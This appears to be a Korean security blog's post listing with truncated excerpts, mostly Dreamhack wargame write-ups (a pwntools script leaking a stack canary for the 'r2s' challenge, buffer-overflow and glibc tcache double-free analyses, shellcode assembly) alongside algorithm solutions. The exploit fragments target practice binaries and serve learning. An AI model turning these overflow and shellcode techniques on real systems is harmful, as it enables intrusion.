anonymous?

#!/usr/bin/python from pwn import * context.log_level = 'debug' context.arch = 'amd64' #p = process("./r2s") p = remote('host3.dreamhack.games', 17569) p.recvuntil(b'Address of the buf: ') buf = int(p.recvuntil('\n'), 16) log.info(b'printf: ', hex(buf)) distance = 96 # canary leak payload = b'B'*(0x60-0x8)+b'A' p.sendafter(b'Input: ', payload) #gdb.attach(p) p.recvuntil(b'A') canary = u64(b'\x00..

SYSTEM HACKING/Dreamhack 2024. 3. 3. 01:56

sudo dhclient 장치명 # sudo dhclient ens33

TOOLS/TIPS 2024. 3. 2. 14:26

GLIBC란? GNU system과 GNU/Linux 시스템의 핵심 라이브러리를 제공하는 GNU C 라이브러리 ptmalloc2 구조 (GLIBC 2.29) - Double Free 검증 tcache_entry 구조체 // GLIBC 2.29 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; GLIBC 2.26과 다르게, GLIBC 2.29에서는 tcache_put, tcache_get 함수에 Double Free 취약점을 검증하는 코드가 추가되었다. GLIBC 2.26에서는..

SYSTEM HACKING/Exploit Tech 2024. 3. 2. 14:25

취약점 분석(정적 분석) IDA로 디스어셈블 하여 스도코드 확인 int __fastcall main(int argc, const char **argv, const char **envp) { char v4[48]; // [rsp+0h] [rbp-30h] BYREF init(argc, argv, envp); printf("Input: "); __isoc99_scanf("%s", v4); return 0; } 스택 구조가 |v4(0x30|SFP(0x8)|RET(0x8)| 이렇게 되고, scanf함수로 입력받으므로 길이 검사를 하지 않아 BOF 취약점이 발생한다. 따라서 0x30+0x8만큼 더미 값을 준 후 이후에 get_shell 함수 주소를 주면 쉘을 얻을 수 있다. PIE가 없어서 get_shell 함수 ..

SYSTEM HACKING/Dreamhack 2024. 3. 1. 21:42

📝 풀이 과정 현재 방문한 위치가 node[i].first, node[i].second라면 index+1 하고 해당 노드 방문, 아니면 index 유지하고해당 노드 방문, 순서대로 방문했는지 여부는 이것으로 체크할 수 있음 (2,0) → (2,1) → (1,1) → (0,1) → (0,2) → (1,2) (2,0) → (2,1) → (1,1) → (0,1) → (0,0) → (0,1) → (0,2) → (1,2) (2,0) → (1,0) → (1,1) → (0,1) → (0,2) → (1,2) (2,0) → (1,0) → (0,0) → (0,1) → (0,2) → (1,2) (2,0) → (1,0) → (0,0) → (0,1) → (1,1) → (1,2) 계속 index 또는 index+1로 재귀 호출을..

PROGRAMMING/Algorithm 2024. 2. 25. 15:34

#include #include using namespace std; int main(){ int N,M,K; cin >> N >> M >> K; int team = min(N/2, M); // 최대 팀 수 int result = min(team, (N+M-K)/3); // 대회 보낼 인원 뺐을 때 printf("%d\n", result); return 0; } 그리디 알고리즘 사용. 일단, 대회에 보내야 하는 인원 상관없이 최대로 만들 수 있는 팀 수를 구하기 위해 여학생 2명, 남학생 1명이므로, min(N/2, M)을 구한다. 이후, 인턴십 보내야 하는 인원 K명을 빼고도 3명으로 팀을 만들었을 때 가능한 팀수를 구하고, 이를 이전에 구한 대회에 보내야 하는 인원 상관없이 최대로 만들 수 있는 팀 ..

PROGRAMMING/Algorithm 2024. 2. 25. 14:19

🔍 코드 분석 int __cdecl main(int argc, const char **argv, const char **envp) { char v4[20]; // [esp+0h] [ebp-18h] BYREF int v5; // [esp+14h] [ebp-4h] v5 = 1; initialize(); printf("Name: "); read_str(v4, 20); printf("Are you baby?"); if ( v5 ) { puts("Ok, chance: "); read(0, v4, 20); } else { get_shell(); } return 0; } |v4(0x18)|v5(0x4)|SFP|RET| v5이 0이면 get_shell 함수 실행되어서 쉘 얻을 수 있음. 근데 v5=1로 설정되어 있기 ..

SYSTEM HACKING/Dreamhack 2024. 2. 19. 16:15

int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // rbp __int64 v5; // [rsp-98h] [rbp-98h] signed int v6; // [rsp-18h] [rbp-18h] signed __int16 v7; // [rsp-14h] [rbp-14h] __int64 v8; // [rsp-8h] [rbp-8h] __asm { endbr64 } v8 = v3; init(); v6 = 'ac/.'; v7 = 116; sub_4010D0(); sub_401130("%144s", &v5); read_cat((__int64)&v8, (__int64)&v6); sub_4010D0(); return 0; } |v..

SYSTEM HACKING/Dreamhack 2024. 2. 16. 21:38

📝 제출코드 #1 (시간 초과) #include #include #include using namespace std; int main(int argc, char** argv) { ios_base::sync_with_stdio(false); cin.tie(NULL); int q, m; int r=0; // result counting variable vector car; vector mid; // for starting from index 1 car.push_back(0); scanf("%d %d", &q, &m); // 자동차 연비 넣기 for(int i=1; i

PROGRAMMING/Algorithm 2024. 2. 16. 11:59

📝 제출 코드 #1 #include #include using namespace std; int main(int argc, char** argv) { int N, K; // N: 학생 수, K: 구간 수 vector arr; cin >> N >> K; arr.push_back(0); for(int i=0; i> num; arr.push_back(num); } for(int i=0; i> A >> B; float sum=0; for(int j=A; j> N >> K; sum.push_back(0); for(int i=0; i> num; sum.push_back(sum[i]+num); } for(int i=0; i> A >> B; printf("%.2f\n", (sum[B]-sum[A-1])/(B-A+1))..

PROGRAMMING/Algorithm 2024. 2. 15. 15:38

사전지식 chunk size - fast chunk: 32~128byte - small chunk: = 1024byte free된 청크를 관리하는 bin - Fastbin : 해제된 chunk가 fastbinsY에서 관리될 경우 해제된 Heap과 크기 동일하게 할당 - Unsorted bin : 해제된 chunk가 unsorted bin에서 관리되는 small, large chunk인 경우, 해제된 Heap의 크기와 같거나 작은 크기를 할당 - small bin: small chunk 관리 - large bin: large chunk 관리 풀이과정 int __fastcall __noreturn main(int argc, const char **argv, c..

SYSTEM HACKING/Dreamhack 2024. 1. 10. 21:38

풀이 1 filename를 16진수로 구하기 section .data filename db '/home/shell_basic/flag_name_is_loooooong', 0 mode dq 0 ; O_RDONLY 먼저 asm 파일에 위와 같이 filename을 적는 어셈블리 코드를 작성 nasm -f elf64 shell_basic.asm # 운영체제 elf64 지정하여 어셈블리 코드로 object 파일 생성 objcopy --dump-section .text=shell_basic.bin shell_basic.o # object 파일로 실행 파일 생성 $ objdump -D shell_basic.o shell_basic.o: file format elf64-x86-64 Disassembly of secti..

SYSTEM HACKING/Dreamhack 2024. 1. 10. 19:01